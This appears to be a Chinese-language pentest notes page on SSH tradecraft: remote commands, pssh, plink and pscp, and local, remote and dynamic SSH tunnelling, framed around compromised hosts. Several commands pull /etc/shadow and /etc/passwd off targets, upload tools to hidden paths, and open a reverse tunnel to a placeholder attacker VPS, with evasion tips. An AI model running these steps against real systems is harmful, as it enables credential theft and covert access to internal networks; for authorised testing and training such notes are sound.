🐸Linux服务-SSH攻防

SSH是一种网络协议,用于计算机之间的加密登录。

#连接服务器
ssh root@123.123.123.123
 
#禁止询问过程
ssh -o StrictHostKeyChecking=no root@192.168.250.14
 
#远程执行命令
ssh root@192.168.250.14 "id"
 
#远程主机运行本地脚本
ssh root@192.168.250.14 /bin/bash < test.sh
 
#挂载远程目录
Centos7:yum install fuse-sshfs
Kali:apt install sshfs
sshfs 10.1.1.1:/data /mnt

配置文件

/etc/ssh/sshd_config

#首次登录不显示检查提示
StrictHostKeyChecking no
PermitRootLogin yes #ubuntu默认不允许root登录
PermitEmptyPasswords no #空密码连接
UseDNS yes #提高速度
GSSAPIAuthentication yes #提高速度,解决ssh登录缓慢的问题

常用选项

#常见选项
-p port #远程服务器监听的端口
-b #指定连接的源IP
-v #调试模式
-C #压缩方式
-X #支持x11转发
-t #强制伪tty分配,如:ssh -t remoteserver1 ssh -t remoteserver2 ssh remoteserver3
-o option 如:-o StrictHostKeyChecking=no
-i <file> #指定私钥文件路径,实现基于key验证,默认使用文件: ~/.ssh/id_dsa, ~/.ssh/id_ecdsa, ~/.ssh/id_ed25519,~/.ssh/id_rsa等

常用工具

密钥的登录

#生成密钥
ssh-keygen -t rsa -P "" -f ~/.ssh/id_rsa
 
#把公钥传到远程服务器中,然后就可以无需密码登录
ssh-copy-id root@192.168.250.1

Pssh

基于python编写的自动化运维工具,但在2012 年 2 月 3已再不更新了。

安装:yum -y install pssh

场景:获得了内网10+台以上主机,但每一次都需要登录并执行whoami之后截图写报告;

#输出信息
pssh -H root@192.168.250.14 -A -i whoami
 
#多台主机
pssh -H "192.168.1.10 192.168.1.12" -i hostname
pslurp
#下载文件
pslurp -H 192.168.1.10 -L /app /etc/passwd user

plink

#远程非交互命令执行
echo y |plink.exe -v -ssh 192.168.250.14 -P 22 -l root -pw 123qwe!@# "whoami"
 
#文件下载
echo y |pscp.exe -pw 123qwe!@# -P 22 root@192.168.250.14:/etc/shadow E:\shadow
 
#隧道代理
plink.exe -P 22 -l root -pw "1234" -R 445:127.0.0.1:445 admin@VPSIP

pscp非交互文件互传

pscp.exe是putty里面的一个工具,脱网的情况下利用这个工具上传其它工具。

#将指定文件上传到远程目标系统指定目录下
echo y | pscp.exe -pw 123qwe!@# -P 22 C:\Users\Public\Libraries\SQLexec root@192.168.159.7:/usr/tmp/.sqlexec
 
#从远程目标系统下载指定文件到本地目录
echo y | pscp.exe -pw 123qwe!@# -P 22 root@192.168.159.166:/etc/shadow C:\Users\Public\Libraries\192.168.159.166.hash.txt
 
#上传文件
pscp -P 22 -batch -pw "123qwe!@#" -r C:\Users\Public\sqltool_amd64_upx.elf root@192.168.159.224:/tmp
 
#下载文件
pscp -P 22 -batch -pw "123qwe!@#" -r root@192.168.159.224:/tmp/centos6.txt c:\users\public

X 协议转发

什么是X11-forwarding?

X11 中的 X 指的就是 X 协议;11 指的是采用 X 协议的第 11 个版本。

使用X Server开启图形化

#Xshell
yum -y install firefox libglvnd-glx
Xmanager - Passive
export DISPLAY=10.0.0.1:0.0
firefox
#MobaXterm
yum install xorg-x11-xauth xorg-x11-fonts-* xorg-x11-font-utils
xorg-x11-fonts-Type1 firefox mailx
exit
firefox
VPS:PyCharm

隧道转发

什么是SSH隧道?

隧道是一种把网络协议封装进另外一种网络协议进行传输的技术,SSH隧道通常会绑定一个本地端口,所有发向这个端口的数据包,都会被加密并透明地传输到远端系统。

SSH隧道时所用到的一些选项具体用途说明

  • -C 压缩传输,加快传输速度

  • -f 在后台对用户名密码进行认证

  • -N 仅仅只用来转发,不用再弹回一个新的shell -n 后台运行

  • -q 安静模式,不要显示任何debug信息

  • -l 指定ssh登录名

  • -g 允许远程主机连接到本地用于转发的端口

  • -L 进行本地端口转发

  • -R 进行远程端口转发

  • -D 动态转发,即socks代理

  • -T 禁止分配伪终端

  • -p 指定远程ssh服务端口

本地端口转发

场景:边界Linux服务器,允许SSH登录访问,不想传任何代理工具的情况下使用SSH隧道代理。

问题:

  • 普通用户与root用户都可以吗?

    • 可以

  • SSH在这个过程中做了哪些事?

    • 加密、转发、解密、通讯

  • 缺点:每个服务都需要配置不同的端口转发

  • 优点:

    • 不用任何代理工具

    • 本地隧道是访问特定SSH客户机进行通信的过程,允许你连接到内网机器。

  • Cetnos7肉鸡:192.168.3.17 (外网)

  • 内网RDP:192.168.3.21 (内网)

  • Attack:192.168.3.20 (攻击者,外网)

Kali操作:

ssh -C -f -N -g -L 0.0.0.0:1234:192.168.5.139:3389 root@172.16.70.144  -p 22
解释:ssh -C -f -N -g -L 本地地址:本地端口:目标IP:目标端口 用户@服务器 -p 端口

Kali操作:

desktop 127.0.0.1:1234

远程端口转发

  • 缺点:

    • 每个服务都需要配置不同的端口转发

    • 容易被发现,通过ps、lsof等命令查看

    • 需要交互式终端

  • 问题:

    • 在肉鸡上连接外网VPS要给于普通权限用户,并且最好VPS是一次性使用,如vultr主机,用完就删。

    • 普通用户与root用户都可以吗?

      • 可以

    • 本地端口转发与远程的区别是?

      • 本地:我连接服务器,远程:服务器连接我

    • 如何在WebShell上不传任何工具,使用SSH隧道?

      • root权限,直接反弹shell,通过反弹的Shell来执行远程端口转发。

        • Apache权限,无法执行。

#Centos7操作(肉鸡):
ssh -C -f -N -g -R 0.0.0.0:1234:192.168.5.139:3389 root@10.211.55.4
 
#Kali操作:
desktop 127.0.0.1:3389
 
#Windows系统SSH代理:
plink.exe -P 22 -l root -pw "1234" -R 445:127.0.0.1:445 admin@VPSIP

动态端口转发

#Kali操作:
ssh -C -f -N -g -D localhost:8080 root@172.16.70.144
 
编辑:vim /etc/proxychains.conf
random_chain
chain_len = 1
proxy_dns
tcp_read_time_out 15000
tcp_connect_time_out 8000
[ProxyList]
socks5  127.0.0.1 8080
 
#Kali操作:
proxychains rdesktop 192.168.5.139

Last updated